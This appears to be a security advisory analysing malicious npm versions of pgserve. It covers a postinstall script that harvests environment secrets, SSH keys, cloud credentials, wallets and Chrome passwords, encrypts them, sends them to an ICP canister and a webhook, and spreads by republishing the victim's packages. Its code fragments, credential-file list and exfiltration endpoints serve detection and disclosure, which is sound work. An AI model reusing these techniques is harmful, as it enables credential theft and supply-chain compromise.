CanisterSprawl: pgserve Compromised on npm: Malicious Versions Harvest Credentials and Exfiltrate to a Decentralized ICP Canister

On April 21, 2026, a series of compromised versions of pgserve, an embedded PostgreSQL server designed for seamless integration into Node.js projects, surfaced on npm. The affected versions—1.1.11, 1.1.12, and 1.1.13—were found to contain a substantial 1,143-line credential-harvesting script that executes during the postinstall phase of every npm install. This malware operates not merely as a standard infostealer but as a supply-chain worm, capable of reinjecting itself into any package for which it discovers an npm publish token on the infected machine, thereby amplifying its reach and impact.

The stolen credentials are encrypted using a combination of RSA-4096 and AES-256 before being exfiltrated to a decentralized Internet Computer Protocol (ICP) canister, a compute endpoint hosted on a blockchain that is resistant to takedown efforts by law enforcement or domain seizure. Notably, none of the compromised versions have a corresponding git tag in the upstream repository, with the last legitimate release being v1.1.10, tagged on April 17, 2026. This issue was reported to the maintainer through GitHub issue #25.

The detection of this compromise was facilitated by two independent signals: the StepSecurity AI Package Analyst, which flagged all three compromised versions as Critical / Rejected, citing various forms of credential theft and exfiltration; and Harden Runner, which successfully captured the malware’s exfiltration connections during a controlled analysis run.

Attack Timeline

  • April 17, 2026 21:57 UTCpgserve@1.1.10 published with git tag v1.1.10 (last legitimate release)
  • April 21, 2026 22:14 UTCpgserve@1.1.11 published to npm, no git tag
  • April 21, 2026 22:26 UTCpgserve@1.1.12 published to npm, no git tag (identical payload to 1.1.11)
  • April 21, 2026pgserve@1.1.13 published to npm, no git tag
  • April 22, 2026 — StepSecurity AI Package Analyst flags pgserve@1.1.11, 1.1.12, and 1.1.13 each as Critical / Rejected; Harden Runner confirms live exfil during controlled analysis run; IOC domains added to global block list; maintainer disclosed via GitHub issue

What Changed in the Compromised Versions

Upon comparing the tarballs of 1.1.11 against the clean baseline 1.1.10, it becomes evident that only two files were added:

=== 1.1.11 vs 1.1.10 ===
Files v1110/package/package.json and v1111/package/package.json differ
Only in v1111/package/scripts: check-env.js
Only in v1111/package/scripts: public.pem

Versions 1.1.12 and 1.1.13 contain identical additions, with only package.json differing among the three compromised versions. The postinstall hook in package.json was modified to:

"postinstall": "node scripts/check-env.cjs || true"

The inclusion of || true ensures that the installation process appears to complete successfully, regardless of the malware’s execution outcome, serving as a deliberate silencing mechanism.

The Malware: scripts/check-env.js

The injected script, comprising 1,143 lines of CommonJS JavaScript, performs six distinct operations:

1. Environment Variable Harvesting

The harvest() function scans every environment variable against approximately 40 regex patterns, collecting anything that resembles a secret:

const sensitivePatterns = [ /TOKEN/i, /SECRET/i, /KEY/i, /PASSWORD/i, /CREDENTIAL/i, /^AWS_/i, /^AZURE_/i, /^GCP_/i, /^GOOGLE_/i, /^NPM_/i, /^GITHUB_/i, /^GITLAB_/i, /^DOCKER_/i, /^DATABASE/i, /^DB_/i, /^REDIS/i, /^MONGO/i, /^OPENAI/i, /^ANTHROPIC/i, /^COHERE/i, /^STRIPE/i, /^TWILIO/i, /^SENDGRID/i, ...];

In a controlled analysis run on a GitHub Actions runner, the malware successfully harvested 38 environment variables matching these patterns.

2. Filesystem Secret Collection

The script systematically reads a comprehensive list of credential files from the developer’s home directory:

  • Package manager tokens: ~/.npmrc, ~/.netrc
  • SSH keys: all files under ~/.ssh/
  • Cloud credentials: ~/.aws/credentials, ~/.azure/accessTokens.json, GCP application default credentials, GCP service account key
  • Crypto wallets: Solana keypair, Ethereum keystore, MetaMask extension data (Chrome + Firefox), Phantom, Exodus, Atomic Wallet
  • Browser passwords: copies Chrome’s SQLite Login Data database and decrypts saved passwords using the known Linux Chrome key derivation (peanuts + saltysalt, AES-128-CBC)

3. Payload Encryption

Before transmission, the stolen data undergoes encryption using a hybrid scheme:

  • A random AES-256-CBC session key is generated
  • The data is encrypted with that session key
  • The session key is then encrypted with an attacker-controlled RSA-4096 public key bundled in scripts/public.pem

This layered approach ensures that the payload remains secure from decryption without the attacker’s private RSA key, even if intercepted during transmission.

4. Dual-Channel Exfiltration

The encrypted payload is transmitted through two channels:

  • ICP canister (primary): cjn37-uyaaa-aaaac-qgnva-cai.raw.icp0.io/drop — always called
  • Webhook (secondary): telemetry.api-monitor.com/v1/telemetry — only if TEL_SIGN_KEY environment variable is set

The strategic use of an ICP canister as the primary exfiltration channel is significant, as these canisters are smart contracts running on the Internet Computer blockchain, making them impervious to takedown attempts.

5. Supply Chain Worm Propagation

After successfully exfiltrating credentials, the malware scans for npm publish tokens:

// Checks process.env.NPM_TOKEN and ~/.npmrc for _authToken entries
const tokenInfo = await findNpmToken();
if (tokenInfo) {
    const { username, packages } = await enumPackages(tokenInfo.token);
    for (const pkg of packages) {
        await infectPackage(pkg, tokenInfo.token);
    }
}

For each package the victim can publish, the malware increments the patch version, copies check-env.js and public.pem into a scripts/ directory, adds the postinstall hook, and executes npm publish. This mechanism allows a single compromised developer account to propagate the infection across numerous packages.

6. PyPI Cross-Ecosystem Spreading

If a PyPI token is detected, the malware extends its reach to Python packages using the .pth file injection technique, reminiscent of methods employed in previous supply chain attacks.

Detection: AI Package Analyst

The StepSecurity AI Package Analyst flagged all three compromised versions with a Critical / Rejected verdict. For 1.1.13, ten suspicious flags were raised:

  • install-on-install-script
  • base64-payload
  • credential-theft
  • env-exfiltration
  • browser-password-theft
  • network-exfiltration
  • filesystem-access
  • exec-on-start
  • filesystem-access
  • telp-live-execution

The AI’s summary verdict states: “Version 1.1.13 contains sophisticated malware that executes automatically during npm install. The malicious postinstall script deploys a heavily obfuscated payload that harvests credentials from environment variables, filesystem secrets, and browser passwords. All stolen data is exfiltrated to telemetry.api-monitor.com and an Internet Computer blockchain canister. This is a severe supply chain attack that compromises developer machines and cloud infrastructure. DO NOT INSTALL.” For further details, visit the StepSecurity AI Package Analyst Feed.

Runtime Validation with StepSecurity Harden-Runner

StepSecurity executed the compromised package within a controlled GitHub Actions environment using Harden-Runner in audit mode. The results are available on the StepSecurity Insights page.

Malware Execution Output

The verbose output confirms the full execution chain:

[pkg] Harvesting credentials...[init:1] 38 env creds, 1 filesystem secrets
[init:2] Encrypting & exfiltrating...[tel] Full payload: 4.4KB
[tel] Canister payload: 4.4KB
[tel] Canister: OK ({"success":true,"id":10,"size":4468})
[init:3] Discovering npm token...[init:3] ❌ No npm token — sync has no publish token
[pkg] Done (exfil only, no propagation)

The ICP canister successfully received the payload, confirming that 4.4KB of encrypted credentials were exfiltrated from the GitHub Actions runner.

Process Events: Postinstall Fires Automatically

Harden-Runner’s process monitor captured the complete execution chain triggered by npm install pgserve@1.1.13. The postinstall hook initiated node scripts/check-env.cjs as a direct child of the npm install process, requiring no manual intervention.

Network Events: Both Exfil Domains Blocked

Harden-Runner’s eBPF-based network monitor successfully captured and blocked both exfiltration domains during the installation process. Both telemetry.api-monitor.com and cjn37-uyaaa-aaaac-qgnva-cai.raw.icp0.io were flagged as Attack Blocked:

  • registry.npmjs.org — port 443, npm — Allowed
  • 🚫 telemetry.api-monitor.com — port 443, node — Attack Blocked
  • 🚫 cjn37-uyaaa-aaaac-qgnva-cai.raw.icp0.io — port 443, node — Attack Blocked

For a comprehensive overview of the Harden-Runner network events for this run, visit the Harden-Runner Insights — Network Events.

Indicators of Compromise

  • Compromised packages: pgserve@1.1.11, pgserve@1.1.12, pgserve@1.1.13
  • Safe version: pgserve@1.1.10 and earlier
  • Exfil domain (ICP canister): cjn37-uyaaa-aaaac-qgnva-cai.raw.icp0.io
  • Exfil endpoint (ICP): https://cjn37-uyaaa-aaaac-qgnva-cai.raw.icp0.io/drop
  • Exfil domain (webhook): telemetry.api-monitor.com
  • Exfil endpoint (webhook): https://telemetry.api-monitor.com/v1/telemetry
  • Malicious files injected: scripts/check-env.js, scripts/public.pem
  • Trigger: postinstall hook

Both exfiltration domains have been added to the Harden-Runner global block list (COMPROMISED_PGSERVE_EXFIL_CANISTER, COMPROMISED_PGSERVE_EXFIL_DOMAIN).

Tech Optimizer
CanisterSprawl: pgserve Compromised on npm: Malicious Versions Harvest Credentials and Exfiltrate to a Decentralized ICP Canister